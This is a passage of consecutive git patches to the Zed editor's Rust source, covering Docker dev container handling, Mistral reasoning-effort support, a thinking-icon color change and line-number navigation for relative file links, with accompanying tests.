+        // Inspect failed — try pulling and retry.
         self.pull_image(id).await.ok();
 
         let command = self.create_docker_inspect(id);
-
         let Some(docker_inspect): Option<DockerInspect> = evaluate_json_command(command).await?
         else {
             log::error!("Docker inspect produced no deserializable output");
@@ -373,12 +389,13 @@ impl DockerClient for Docker {
             log::error!("Error running command {e} in container exec");
             DevContainerError::ContainerNotValid(container_id.to_string())
         })?;
+        let std_out = String::from_utf8_lossy(&output.stdout);
+        log::debug!("Command output:\n {std_out}");
         if !output.status.success() {
             let std_err = String::from_utf8_lossy(&output.stderr);
             log::error!("Command produced a non-successful output. StdErr: {std_err}");
+            return Err(DevContainerError::DevContainerScriptsFailed);
         }
-        let std_out = String::from_utf8_lossy(&output.stdout);
-        log::debug!("Command output:\n {std_out}");
 
         Ok(())
     }
@@ -499,6 +516,41 @@ pub(crate) trait DockerClient {
     fn docker_cli(&self) -> String;
 }
 
+fn deserialize_environment<'de, D>(
+    deserializer: D,
+) -> Result<Option<HashMap<String, String>>, D::Error>
+where
+    D: Deserializer<'de>,
+{
+    let Some(value) = Option::<serde_json_lenient::Value>::deserialize(deserializer)? else {
+        return Ok(None);
+    };
+
+    match value {
+        serde_json_lenient::Value::Object(object) => Ok(Some(
+            object
+                .into_iter()
+                .filter_map(|(key, value)| match value {
+                    serde_json_lenient::Value::Null => None,
+                    serde_json_lenient::Value::String(value) => Some((key, value)),
+                    other => Some((key, other.to_string())),
+                })
+                .collect(),
+        )),
+        serde_json_lenient::Value::Array(values) => Ok(Some(
+            values
+                .into_iter()
+                .filter_map(|value| {
+                    let value = value.as_str()?;
+                    let (key, value) = value.split_once('=').unwrap_or((value, ""));
+                    Some((key.to_string(), value.to_string()))
+                })
+                .collect(),
+        )),
+        _ => Ok(None),
+    }
+}
+
 fn deserialize_labels<'de, D>(deserializer: D) -> Result<Option<HashMap<String, String>>, D::Error>
 where
     D: Deserializer<'de>,
@@ -716,6 +768,8 @@ mod test {
             parse_find_process_output,
         },
     };
+    #[cfg(not(target_os = "windows"))]
+    use util::command::Command;
 
     #[test]
     fn use_buildkit_setting_overrides_buildx_detection() {
@@ -836,6 +890,28 @@ mod test {
         )
     }
 
+    #[cfg(not(target_os = "windows"))]
+    #[test]
+    fn docker_exec_returns_error_on_nonzero_exit() {
+        let docker = Docker {
+            docker_cli: "false".to_string(),
+            has_buildx: false,
+        };
+
+        let result = gpui::block_on(docker.run_docker_exec(
+            "container",
+            "/workspace",
+            "root",
+            &HashMap::new(),
+            Command::new("true"),
+        ));
+
+        assert!(matches!(
+            result,
+            Err(DevContainerError::DevContainerScriptsFailed)
+        ));
+    }
+
     #[test]
     fn should_deserialize_docker_ps_with_filters() {
         // First, deserializes empty
@@ -1098,6 +1174,13 @@ mod test {
                                 name: Some("custom port".to_string()),
                             },
                         ],
+                        environment: Some(HashMap::from([
+                            ("POSTGRES_DB".to_string(), "postgres".to_string()),
+                            ("POSTGRES_HOSTNAME".to_string(), "localhost".to_string()),
+                            ("POSTGRES_PASSWORD".to_string(), "postgres".to_string()),
+                            ("POSTGRES_PORT".to_string(), "5432".to_string()),
+                            ("POSTGRES_USER".to_string(), "postgres".to_string()),
+                        ])),
                         ..Default::default()
                     },
                 ),
@@ -1110,6 +1193,13 @@ mod test {
                             source: Some("postgres-data".to_string()),
                             target: "/var/lib/postgresql/data".to_string(),
                         }],
+                        environment: Some(HashMap::from([
+                            ("POSTGRES_DB".to_string(), "postgres".to_string()),
+                            ("POSTGRES_HOSTNAME".to_string(), "localhost".to_string()),
+                            ("POSTGRES_PASSWORD".to_string(), "postgres".to_string()),
+                            ("POSTGRES_PORT".to_string(), "5432".to_string()),
+                            ("POSTGRES_USER".to_string(), "postgres".to_string()),
+                        ])),
                         ..Default::default()
                     },
                 ),
@@ -1181,6 +1271,44 @@ mod test {
         );
     }
 
+    #[test]
+    fn should_deserialize_compose_environment_key_only_entries() {
+        let given_config = r#"
+        {
+            "name": "devcontainer",
+            "services": {
+                "array": {
+                    "image": "node:22-alpine",
+                    "environment": ["USER_INPUT", "DEFINED=value"]
+                },
+                "map": {
+                    "image": "node:22-alpine",
+                    "environment": {
+                        "USER_INPUT": null,
+                        "DEFINED": "value"
+                    }
+                }
+            }
+        }
+        "#;
+
+        let config: DockerComposeConfig = serde_json_lenient::from_str(given_config).unwrap();
+        assert_eq!(
+            config.services.get("array").unwrap().environment,
+            Some(HashMap::from([
+                ("DEFINED".to_string(), "value".to_string()),
+                ("USER_INPUT".to_string(), "".to_string()),
+            ]))
+        );
+        assert_eq!(
+            config.services.get("map").unwrap().environment,
+            Some(HashMap::from([(
+                "DEFINED".to_string(),
+                "value".to_string()
+            )]))
+        );
+    }
+
     #[test]
     fn should_deserialize_compose_without_volumes() {
         let given_config = r#"
diff --git a/crates/dev_container/src/features.rs b/crates/dev_container/src/features.rs
index 5c35b785852735..e3b865b29a5aa0 100644
--- a/crates/dev_container/src/features.rs
+++ b/crates/dev_container/src/features.rs
@@ -36,9 +36,18 @@ pub(crate) struct DevContainerFeatureJson {
     #[serde(default)]
     pub(crate) options: HashMap<String, FeatureOptionDefinition>,
     pub(crate) mounts: Option<Vec<MountDefinition>>,
+    pub(crate) init: Option<bool>,
     pub(crate) privileged: Option<bool>,
     pub(crate) entrypoint: Option<String>,
     pub(crate) container_env: Option<HashMap<String, String>>,
+    pub(crate) cap_add: Option<Vec<String>>,
+    pub(crate) security_opt: Option<Vec<String>>,
+    pub(crate) customizations: Option<Value>,
+    pub(crate) on_create_command: Option<Value>,
+    pub(crate) update_content_command: Option<Value>,
+    pub(crate) post_create_command: Option<Value>,
+    pub(crate) post_start_command: Option<Value>,
+    pub(crate) post_attach_command: Option<Value>,
 }
 
 /// A single option definition inside `devcontainer-feature.json`.
@@ -62,6 +71,7 @@ impl FeatureOptionDefinition {
 #[derive(Debug, Eq, PartialEq, Default)]
 pub(crate) struct FeatureManifest {
     consecutive_id: String,
+    user_feature_id: String,
     file_path: PathBuf,
     feature_json: DevContainerFeatureJson,
 }
@@ -69,11 +79,13 @@ pub(crate) struct FeatureManifest {
 impl FeatureManifest {
     pub(crate) fn new(
         consecutive_id: String,
+        user_feature_id: String,
         file_path: PathBuf,
         feature_json: DevContainerFeatureJson,
     ) -> Self {
         Self {
             consecutive_id,
+            user_feature_id,
             file_path,
             feature_json,
         }
@@ -188,6 +200,10 @@ RUN chmod -R 0755 {full_dest} \
         }
     }
 
+    pub(crate) fn init(&self) -> bool {
+        self.feature_json.init.unwrap_or(false)
+    }
+
     pub(crate) fn privileged(&self) -> bool {
         self.feature_json.privileged.unwrap_or(false)
     }
@@ -196,9 +212,88 @@ RUN chmod -R 0755 {full_dest} \
         self.feature_json.entrypoint.clone()
     }
 
+    pub(crate) fn cap_add(&self) -> Vec<String> {
+        self.feature_json.cap_add.clone().unwrap_or_default()
+    }
+
+    pub(crate) fn security_opt(&self) -> Vec<String> {
+        self.feature_json.security_opt.clone().unwrap_or_default()
+    }
+
     pub(crate) fn file_path(&self) -> PathBuf {
         self.file_path.clone()
     }
+
+    pub(crate) fn build_metadata_entry(
+        &self,
+    ) -> serde_json_lenient::Map<String, serde_json_lenient::Value> {
+        use serde_json_lenient::Value;
+        let mut entry = serde_json_lenient::Map::new();
+        entry.insert(
+            "id".to_string(),
+            Value::String(self.user_feature_id.clone()),
+        );
+        if let Some(true) = self.feature_json.init {
+            entry.insert("init".to_string(), Value::Bool(true));
+        }
+        if let Some(true) = self.feature_json.privileged {
+            entry.insert("privileged".to_string(), Value::Bool(true));
+        }
+        if let Some(caps) = &self.feature_json.cap_add {
+            if !caps.is_empty() {
+                entry.insert(
+                    "capAdd".to_string(),
+                    Value::Array(caps.iter().map(|s| Value::String(s.clone())).collect()),
+                );
+            }
+        }
+        if let Some(opts) = &self.feature_json.security_opt {
+            if !opts.is_empty() {
+                entry.insert(
+                    "securityOpt".to_string(),
+                    Value::Array(opts.iter().map(|s| Value::String(s.clone())).collect()),
+                );
+            }
+        }
+        if let Some(ep) = &self.feature_json.entrypoint {
+            entry.insert("entrypoint".to_string(), Value::String(ep.clone()));
+        }
+        if let Some(mounts) = &self.feature_json.mounts {
+            if !mounts.is_empty() {
+                entry.insert(
+                    "mounts".to_string(),
+                    Value::Array(
+                        mounts
+                            .iter()
+                            .filter_map(|mount| serde_json_lenient::to_value(mount).ok())
+                            .collect(),
+                    ),
+                );
+            }
+        }
+        if let Some(customizations) = &self.feature_json.customizations {
+            if !customizations.is_null() {
+                entry.insert("customizations".to_string(), customizations.clone());
+            }
+        }
+        for (key, value) in [
+            ("onCreateCommand", &self.feature_json.on_create_command),
+            (
+                "updateContentCommand",
+                &self.feature_json.update_content_command,
+            ),
+            ("postCreateCommand", &self.feature_json.post_create_command),
+            ("postStartCommand", &self.feature_json.post_start_command),
+            ("postAttachCommand", &self.feature_json.post_attach_command),
+        ] {
+            if let Some(value) = value {
+                if !value.is_null() {
+                    entry.insert(key.to_string(), value.clone());
+                }
+            }
+        }
+        entry
+    }
 }
 
 /// Parses an OCI feature reference string into its components.
diff --git a/crates/remote/src/transport/docker.rs b/crates/remote/src/transport/docker.rs
index d7996a9ad0eb61..8a05ddcd15c468 100644
--- a/crates/remote/src/transport/docker.rs
+++ b/crates/remote/src/transport/docker.rs
@@ -127,12 +127,27 @@ impl DockerExecConnection {
         }
     }
 
+    /// Run a shell command inside the container and reliably extract its output
+    /// using unique delimiters, so that shell initialization noise (e.g. from
+    /// BASH_ENV or .bashrc) does not corrupt the result.
+    async fn run_docker_exec_delimited(&self, script: &str) -> Result<String> {
+        const MARKER: &str = "=====ZED_DELIM_7f3a9c=====";
+        let wrapped =
+            format!("printf '{MARKER}'; {script}; __exit=$?; printf '{MARKER}'; exit $__exit");
+        let output = self
+            .run_docker_exec("sh", None, &Default::default(), &["-c", &wrapped])
+            .await?;
+        let start = output.find(MARKER).map(|i| i + MARKER.len()).unwrap_or(0);
+        let end = output[start..]
+            .find(MARKER)
+            .map(|i| start + i)
+            .unwrap_or(output.len());
+        Ok(output[start..end].to_string())
+    }
+
     async fn discover_shell(&self) -> String {
         let default_shell = "sh";
-        match self
-            .run_docker_exec("sh", None, &Default::default(), &["-c", "echo $SHELL"])
-            .await
-        {
+        match self.run_docker_exec_delimited("echo $SHELL").await {
             Ok(shell) => match shell.trim() {
                 "" => {
                     log::info!("$SHELL is not set, checking passwd for user");
@@ -147,12 +162,7 @@ impl DockerExecConnection {
         }
 
         match self
-            .run_docker_exec(
-                "sh",
-                None,
-                &Default::default(),
-                &["-c", "getent passwd \"$(id -un)\" | cut -d: -f7"],
-            )
+            .run_docker_exec_delimited("getent passwd \"$(id -un)\" | cut -d: -f7")
             .await
         {
             Ok(shell) => match shell.trim() {
@@ -171,9 +181,7 @@ impl DockerExecConnection {
     }
 
     async fn check_remote_platform(&self) -> Result<RemotePlatform> {
-        let uname = self
-            .run_docker_exec("uname", None, &Default::default(), &["-sm"])
-            .await?;
+        let uname = self.run_docker_exec_delimited("uname -sm").await?;
         parse_platform(&uname)
     }
 
@@ -338,14 +346,7 @@ impl DockerExecConnection {
     }
 
     async fn docker_user_home_dir(&self) -> Result<String> {
-        let inner_program = self.shell();
-        self.run_docker_exec(
-            &inner_program,
-            None,
-            &Default::default(),
-            &["-c", "echo $HOME"],
-        )
-        .await
+        self.run_docker_exec_delimited("echo $HOME").await
     }
 
     async fn extract_server_binary(

From a9f6bfac2fda39766c859a36470a80522728aa22 Mon Sep 17 00:00:00 2001
From: Danilo Leal <67129314+danilo-leal@users.noreply.github.com>
Date: Tue, 21 Jul 2026 14:20:48 +0000
Subject: [PATCH 603/772] thread_view: Make thinking icon color consistent
 (#61399)

Tiny tiny tweak just adjusting the thinking icon color so its consistent
with the fast mode icon. Icons that are _toggled_ on and off should be
displayed in a colorful way so its obvious in which state they're in.

---

Release Notes:

- N/A
---
 crates/agent_ui/src/conversation_view/thread_view.rs | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/crates/agent_ui/src/conversation_view/thread_view.rs b/crates/agent_ui/src/conversation_view/thread_view.rs
index e4e7daa267dd05..ffec927c0936c5 100644
--- a/crates/agent_ui/src/conversation_view/thread_view.rs
+++ b/crates/agent_ui/src/conversation_view/thread_view.rs
@@ -5085,7 +5085,7 @@ impl ThreadView {
             (
                 "Disable Thinking Mode",
                 IconName::ThinkingMode,
-                Color::Muted,
+                Color::Accent,
             )
         } else {
             (
@@ -5231,7 +5231,7 @@ impl ThreadView {
                     .child(
                         Icon::new(IconName::ThinkingMode)
                             .size(IconSize::Small)
-                            .color(label_color),
+                            .color(Color::Accent),
                     )
                     .child(Label::new(label).size(LabelSize::Small).color(label_color))
                     .child(Icon::new(icon).size(IconSize::XSmall).color(Color::Muted)),

From f8d25456c21cf6ef3923fcbacb0837fdc59cc5c7 Mon Sep 17 00:00:00 2001
From: ummon-v <252456890+ummon-v@users.noreply.github.com>
Date: Tue, 21 Jul 2026 14:51:27 +0000
Subject: [PATCH 604/772] Add reasoning effort support for Mistral models
 (#61393)

# Objective

Follow-up to #60898 (as suggested by @tomhoule ). That PR marked
`mistral-medium-latest` as supporting thinking, but the flag is
currently a no-op: unlike Magistral, whose reasoning was native, Mistral
Medium 3.5 and Small 4 only emit thinking chunks when the request sets
`reasoning_effort: "high"` (see [Mistral's reasoning
docs](https://docs.mistral.ai/studio-api/conversations/reasoning)), and
the `Request` struct had no such field.

Related: #57581

## Solution

- Add a `ReasoningEffort` enum and an optional `reasoning_effort` field
to the Mistral `Request`. The field is skipped during serialization when
`None`, so requests for non-reasoning models (Codestral, Large,
Ministrals) are byte-identical to before.
- Set `reasoning_effort: "high"` in `into_mistral()` when the model
supports thinking and the request allows it. The rest of the pipeline
already works: `MistralEventMapper` handles `MessagePart::Thinking`
deltas, and `into_mistral` replays thinking parts into history, matching
Mistral's requirement to replay the reasoning trace across turns.
- Add `mistral-small-latest` to `supports_thinking()`: it now points to
Mistral Small 4, a hybrid reasoning model like Medium 3.5.
- Cover the Ministral variants in `Model::from_id()`, which previously
rejected `ministral-3b-latest` / `ministral-8b-latest` /
`ministral-14b-latest` as invalid ids even though the enum defines them.

## Testing

- Added `test_into_mistral_reasoning_effort` covering the three cases:
thinking model with thinking allowed (sends `high`), thinking model with
thinking disallowed (omits the field), and non-thinking model (omits the
field).
- Existing Mistral provider tests pass (`cargo test -p language_models
mistral`); both touched crates are clippy-clean.
- Reviewers can test by configuring a Mistral API key, selecting
`mistral-medium-latest` or `mistral-small-latest` in the agent panel,
and confirming thinking blocks stream in; with a non-reasoning model
like Codestral, requests are unchanged.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [ ] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- Fixed thinking not being triggered for Mistral Medium 3.5 and Mistral
Small 4, and fixed custom Mistral configurations rejecting Ministral
model ids
---
 .../language_models/src/provider/mistral.rs   | 43 +++++++++++++++++++
 crates/mistral/src/mistral.rs                 | 14 +++++-
 2 files changed, 56 insertions(+), 1 deletion(-)

diff --git a/crates/language_models/src/provider/mistral.rs b/crates/language_models/src/provider/mistral.rs
index a45564b191b81d..c3fe10aeb49d2f 100644
--- a/crates/language_models/src/provider/mistral.rs
+++ b/crates/language_models/src/provider/mistral.rs
@@ -578,6 +578,11 @@ pub fn into_mistral(
                     })
                 })
                 .collect::<Result<_>>()?,
+            reasoning_effort: if model.supports_thinking() && request.thinking_allowed {
+                Some(mistral::ReasoningEffort::High)
+            } else {
+                None
+            },
         },
         request.thread_id,
     ))
@@ -886,6 +891,44 @@ mod tests {
         assert_eq!(affinity, Some("abcdef".into()));
     }
 
+    #[test]
+    fn test_into_mistral_reasoning_effort() {
+        let request = |thinking_allowed| LanguageModelRequest {
+            messages: vec![LanguageModelRequestMessage {
+                role: Role::User,
+                content: vec![MessageContent::Text("Hello".into())],
+                cache: false,
+                reasoning_details: None,
+            }],
+            temperature: None,
+            tools: vec![],
+            tool_choice: None,
+            thread_id: None,
+            prompt_id: None,
+            intent: None,
+            stop: vec![],
+            thinking_allowed,
+            thinking_effort: None,
+            speed: Default::default(),
+            compact_at_tokens: None,
+        };
+
+        let (mistral_request, _) =
+            into_mistral(request(true), mistral::Model::MistralMediumLatest, None).unwrap();
+        assert_eq!(
+            mistral_request.reasoning_effort,
+            Some(mistral::ReasoningEffort::High)
+        );
+
+        let (mistral_request, _) =
+            into_mistral(request(false), mistral::Model::MistralMediumLatest, None).unwrap();
+        assert_eq!(mistral_request.reasoning_effort, None);
+
+        let (mistral_request, _) =
+            into_mistral(request(true), mistral::Model::CodestralLatest, None).unwrap();
+        assert_eq!(mistral_request.reasoning_effort, None);
+    }
+
     #[test]
     fn test_into_mistral_with_image() {
         let request = LanguageModelRequest {
diff --git a/crates/mistral/src/mistral.rs b/crates/mistral/src/mistral.rs
index c6e6007186af7e..0b76b1d665f514 100644
--- a/crates/mistral/src/mistral.rs
+++ b/crates/mistral/src/mistral.rs
@@ -91,6 +91,9 @@ impl Model {
             "mistral-large-latest" => Ok(Self::MistralLargeLatest),
             "mistral-medium-latest" => Ok(Self::MistralMediumLatest),
             "mistral-small-latest" => Ok(Self::MistralSmallLatest),
+            "ministral-3b-latest" => Ok(Self::Ministral3bLatest),
+            "ministral-8b-latest" => Ok(Self::Ministral8bLatest),
+            "ministral-14b-latest" => Ok(Self::Ministral14bLatest),
             invalid_id => anyhow::bail!("invalid model id '{invalid_id}'"),
         }
     }
@@ -175,7 +178,7 @@ impl Model {
 
     pub fn supports_thinking(&self) -> bool {
         match self {
-            Self::MistralMediumLatest => true,
+            Self::MistralMediumLatest | Self::MistralSmallLatest => true,
             Self::Custom {
                 supports_thinking, ..
             } => supports_thinking.unwrap_or(false),
@@ -203,6 +206,15 @@ pub struct Request {
     pub parallel_tool_calls: Option<bool>,
     #[serde(default, skip_serializing_if = "Vec::is_empty")]
     pub tools: Vec<ToolDefinition>,
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub reasoning_effort: Option<ReasoningEffort>,
+}
+
+#[derive(Clone, Copy, Debug, Serialize, Deserialize, Eq, PartialEq)]
+#[serde(rename_all = "lowercase")]
+pub enum ReasoningEffort {
+    None,
+    High,
 }
 
 #[derive(Debug, Serialize, Deserialize)]

From 54f2b5df1db73e13e70b79dbc7b5e93a595c0f41 Mon Sep 17 00:00:00 2001
From: MartinYe1234 <52641447+MartinYe1234@users.noreply.github.com>
Date: Tue, 21 Jul 2026 14:55:19 +0000
Subject: [PATCH 605/772] Open relative file links at line numbers (#61006)

## Summary

- Open relative file links with GitHub-style line fragments at the
referenced line
- Support line navigation from agent responses and Markdown previews
- Preserve decoded-first path resolution with literal percent-escape
fallback

## Testing

- cargo test -q -p util test_source_line_from_fragment -- --nocapture
- cargo test -q -p acp_thread test_hyperlink_percent_escapes_are_decoded
-- --nocapture
- cargo test -q -p agent_ui test_open_link -- --nocapture
- cargo test -q -p markdown_preview -- --nocapture
- cargo fmt --all -- --check

Release Notes:

- Improved relative file links with line numbers to open at the
referenced line.
---
 crates/acp_thread/src/mention.rs              |   2 +-
 .../src/conversation_view/thread_view.rs      |  79 ++++++++-
 crates/editor/src/hover_links.rs              |  74 +--------
 .../src/markdown_preview_view.rs              | 151 ++++++++++++++++--
 crates/util/src/markdown.rs                   |  29 ++++
 5 files changed, 245 insertions(+), 90 deletions(-)

diff --git a/crates/acp_thread/src/mention.rs b/crates/acp_thread/src/mention.rs
index 3686f2955c1abf..f52e281212eafb 100644
--- a/crates/acp_thread/src/mention.rs
+++ b/crates/acp_thread/src/mention.rs
@@ -709,7 +709,7 @@ fn normalize_path_mention(
 /// traverses. Invalid sequences and non-UTF-8 results leave the input
 /// unchanged. Returns `Cow::Owned` iff decoding changed the input
 /// (`parse_hyperlink_literal` relies on this).
-fn decode_path_escapes(input: &str) -> Cow<'_, str> {
+pub fn decode_path_escapes(input: &str) -> Cow<'_, str> {
     fn hex_digit(byte: u8) -> Option<u8> {
         match byte {
             b'0'..=b'9' => Some(byte - b'0'),
diff --git a/crates/agent_ui/src/conversation_view/thread_view.rs b/crates/agent_ui/src/conversation_view/thread_view.rs
index ffec927c0936c5..d1e90180fc4f35 100644
--- a/crates/agent_ui/src/conversation_view/thread_view.rs
+++ b/crates/agent_ui/src/conversation_view/thread_view.rs
@@ -10,7 +10,7 @@ use std::cell::RefCell;
 
 use acp_thread::{
     Elicitation, ElicitationEntryId, ElicitationStatus, PlanEntry, SandboxAuthorizationDetails,
-    SandboxFallbackAuthorizationDetails, SandboxNotAppliedReason,
+    SandboxFallbackAuthorizationDetails, SandboxNotAppliedReason, decode_path_escapes,
 };
 use agent::{
     SandboxStatusKey, SandboxStatusRefresh, SkillLoadingIssue, SkillLoadingIssueKind,
@@ -45,6 +45,7 @@ use ui::{
     ButtonLike, CalloutBorderPosition, Checkbox, SpinnerLabel, SpinnerVariant, SplitButton,
     SplitButtonStyle, Tab, ToggleState,
 };
+use util::markdown::{source_position_from_fragment, split_local_url_fragment};
 use workspace::{OpenOptions, SERIALIZATION_THROTTLE_TIME};
 
 use super::elicitation::{
@@ -12287,6 +12288,33 @@ pub(crate) fn open_link(
     };
 
     let path_style = workspace.read(cx).path_style(cx);
+    let (relative_path, fragment) = split_local_url_fragment(&url);
+    if let Some(fragment) = fragment
+        && !relative_path.is_empty()
+        && !path_style.is_absolute(relative_path)
+    {
+        let project = workspace.read(cx).project().clone();
+        let decoded_path = decode_path_escapes(relative_path);
+        let abs_path = project.update(cx, |project, cx| {
+            let resolve_path = |path: &str| {
+                let project_path = project.find_project_path(path, cx)?;
+                project.entry_for_path(&project_path, cx)?;
+                project.absolute_path(&project_path, cx)
+            };
+            resolve_path(&decoded_path).or_else(|| resolve_path(relative_path))
+        });
+        if let Some(abs_path) = abs_path {
+            let point = fragment
+                .strip_prefix('L')
+                .and_then(source_position_from_fragment)
+                .map(|(row, _)| Point::new(row, 0));
+            workspace.update(cx, |workspace, cx| {
+                open_abs_path_at_point(workspace, abs_path, point, window, cx);
+            });
+            return;
+        }
+    }
+
     if let Some(mention) = MentionUri::parse_hyperlink(&url, path_style).log_err() {
         // Percent escapes in bare paths are ambiguous: prefer the decoded
         // interpretation, falling back to the literal one (e.g. a file
@@ -12503,8 +12531,11 @@ mod tests {
         crate::test_support::init_test(cx);
 
         let fs = FakeFs::new(cx.executor());
-        fs.insert_tree(path!("/project"), json!({"src": {"main.rs": ""}}))
-            .await;
+        fs.insert_tree(
+            path!("/project"),
+            json!({"src": {"main.rs": "first\nsecond\nthird\n"}}),
+        )
+        .await;
 
         let project = Project::test(fs, [path!("/project").as_ref()], cx).await;
         let (multi_workspace, cx) =
@@ -12525,6 +12556,21 @@ mod tests {
             assert!(*active.path == *"src/main.rs");
         });
 
+        multi_workspace.update_in(cx, |_, window, cx| {
+            open_link("src/main.rs#L2".into(), &workspace_weak, window, cx);
+        });
+        cx.run_until_parked();
+        let editor = workspace.read_with(cx, |workspace, cx| {
+            workspace
+                .active_item(cx)
+                .and_then(|item| item.downcast::<Editor>())
+                .expect("file should be open in an editor")
+        });
+        editor.update_in(cx, |editor, window, cx| {
+            let snapshot = editor.snapshot(window, cx);
+            assert_eq!(editor.selections.newest::<Point>(&snapshot).head().row, 1);
+        });
+
         // Absolute path
         let abs_path: SharedString = path!("/project/src/main.rs").to_string().into();
         multi_workspace.update_in(cx, |_, window, cx| {
@@ -12548,10 +12594,10 @@ mod tests {
         fs.insert_tree(
             path!("/project"),
             json!({
-                "a%20b.rs": "literal",
-                "a b.rs": "decoded",
-                "c d.rs": "",
-                "e%20f.rs": "",
+                "a%20b.rs": "literal\nsecond\n",
+                "a b.rs": "decoded\nsecond\n",
+                "c d.rs": "first\nsecond\n",
+                "e%20f.rs": "first\nsecond\n",
             }),
         )
         .await;
@@ -12587,6 +12633,25 @@ mod tests {
         // Only the literally-named file exists: fall back to it.
         let path = open_link_and_active_path(path!("/project/e%20f.rs").to_string(), cx);
         assert_eq!(*path, *"e%20f.rs");
+
+        let path = open_link_and_active_path("a%20b.rs#L2".to_string(), cx);
+        assert_eq!(*path, *"a b.rs");
+
+        let path = open_link_and_active_path("c%20d.rs#L2".to_string(), cx);
+        assert_eq!(*path, *"c d.rs");
+
+        let path = open_link_and_active_path("e%20f.rs#L2".to_string(), cx);
+        assert_eq!(*path, *"e%20f.rs");
+        let editor = workspace.read_with(cx, |workspace, cx| {
+            workspace
+                .active_item(cx)
+                .and_then(|item| item.downcast::<Editor>())
+                .expect("file should be open in an editor")
+        });
+        editor.update_in(cx, |editor, window, cx| {
+            let snapshot = editor.snapshot(window, cx);
+            assert_eq!(editor.selections.newest::<Point>(&snapshot).head().row, 1);
+        });
     }
 
     #[gpui::test]
diff --git a/crates/editor/src/hover_links.rs b/crates/editor/src/hover_links.rs
index 2f7fe2787dfdc2..b0137979526b1e 100644
--- a/crates/editor/src/hover_links.rs
+++ b/crates/editor/src/hover_links.rs
@@ -17,7 +17,9 @@ use settings::Settings;
 use std::{ops::Range, str::FromStr as _, sync::LazyLock};
 use text::OffsetRangeExt;
 use theme::ActiveTheme as _;
-use util::{ResultExt, TryFutureExt as _, paths::PathWithPosition};
+use util::{
+    ResultExt, TryFutureExt as _, markdown::source_position_from_fragment, paths::PathWithPosition,
+};
 
 #[derive(Debug)]
 pub struct HoveredLinkState {
@@ -85,7 +87,8 @@ pub fn document_link_target_to_hover_link(target: &str, server_id: LanguageServe
     {
         let position = url
             .fragment()
-            .and_then(parse_uri_fragment_position)
+            .and_then(source_position_from_fragment)
+            .map(|(line, character)| lsp::Position { line, character })
             .unwrap_or_default();
         return HoverLink::LspLocation(
             lsp::Location {
@@ -98,24 +101,6 @@ pub fn document_link_target_to_hover_link(target: &str, server_id: LanguageServe
     HoverLink::Url(target.to_string())
 }
 
-/// Parse a URI fragment such as `9,16`, `9:16`, `L9`, or `L9:16` into an
-/// LSP position (1-based input, 0-based output). Servers like the JSON
-/// language server attach this fragment to `file://` document link
-/// targets to point at a specific row/column inside the file.
-fn parse_uri_fragment_position(fragment: &str) -> Option<lsp::Position> {
-    let stripped = fragment.strip_prefix('L').unwrap_or(fragment);
-    let (line_str, column_str) = match stripped.split_once([',', ':']) {
-        Some((line, column)) => (line, Some(column)),
-        None => (stripped, None),
-    };
-    let line = line_str.parse::<u32>().ok()?.checked_sub(1)?;
-    let character = column_str
-        .and_then(|column| column.parse::<u32>().ok())
-        .and_then(|column| column.checked_sub(1))
-        .unwrap_or(0);
-    Some(lsp::Position { line, character })
-}
-
 #[derive(Debug, Clone, PartialEq, Eq)]
 pub struct InlayHighlight {
     pub inlay: InlayId,
@@ -1090,55 +1075,6 @@ mod tests {
     use util::{assert_set_eq, path};
     use workspace::item::Item;
 
-    #[test]
-    fn test_parse_uri_fragment_position() {
-        // json-language-server style: 1-based `line,column`.
-        assert_eq!(
-            parse_uri_fragment_position("9,16"),
-            Some(lsp::Position {
-                line: 8,
-                character: 15,
-            })
-        );
-        assert_eq!(
-            parse_uri_fragment_position("33,33"),
-            Some(lsp::Position {
-                line: 32,
-                character: 32,
-            })
-        );
-
-        // GitHub-style `L<line>` and `L<line>:<col>`.
-        assert_eq!(
-            parse_uri_fragment_position("L42"),
-            Some(lsp::Position {
-                line: 41,
-                character: 0,
-            })
-        );
-        assert_eq!(
-            parse_uri_fragment_position("L42:7"),
-            Some(lsp::Position {
-                line: 41,
-                character: 6,
-            })
-        );
-
-        // Bare line number, no column.
-        assert_eq!(
-            parse_uri_fragment_position("5"),
-            Some(lsp::Position {
-                line: 4,
-                character: 0,
-            })
-        );
-
-        // Garbage / unparseable / 0-based fragments are rejected.
-        assert_eq!(parse_uri_fragment_position(""), None);
-        assert_eq!(parse_uri_fragment_position("section-name"), None);
-        assert_eq!(parse_uri_fragment_position("0,0"), None);
-    }
-
     #[test]
     fn test_document_link_target_to_hover_link_file_uri_with_fragment() {
         let server_id = LanguageServerId(0);
diff --git a/crates/markdown_preview/src/markdown_preview_view.rs b/crates/markdown_preview/src/markdown_preview_view.rs
index b80fe288f7035e..bf9bfcf7a63e91 100644
--- a/crates/markdown_preview/src/markdown_preview_view.rs
+++ b/crates/markdown_preview/src/markdown_preview_view.rs
@@ -14,7 +14,7 @@ use gpui::{
     InteractiveElement, IntoElement, IsZero, Pixels, Render, Resource, RetainAllImageCache,
     ScrollHandle, SharedString, SharedUri, Subscription, Task, WeakEntity, Window, point, px,
 };
-use language::LanguageRegistry;
+use language::{LanguageRegistry, Point};
 use markdown::{
     CodeBlockRenderer, CopyButtonVisibility, Markdown, MarkdownElement, MarkdownFont,
     MarkdownOptions, MarkdownStyle,
@@ -26,8 +26,10 @@ use theme::{SystemAppearance, Theme, ThemeRegistry};
 use theme_settings::ThemeSettings;
 use ui::utils::WithRemSize;
 use ui::{ContextMenu, LinkPreview, WithScrollbar, prelude::*, right_click_menu};
-use util::ResultExt;
-use util::markdown::split_local_url_fragment;
+use util::{
+    ResultExt,
+    markdown::{source_position_from_fragment, split_local_url_fragment},
+};
 use workspace::item::{Item, ItemBufferKind, ItemHandle, SaveOptions, SerializableItem};
 use workspace::notifications::NotifyResultExt;
 use workspace::searchable::{
@@ -1067,6 +1069,7 @@ fn handle_url_click(
     } else {
         open_preview_url(
             SharedString::from(path_part.to_string()),
+            fragment.map(|fragment| SharedString::from(fragment.to_string())),
             base_directory,
             workspace,
             window,
@@ -1077,15 +1080,30 @@ fn handle_url_click(
 
 fn open_preview_url(
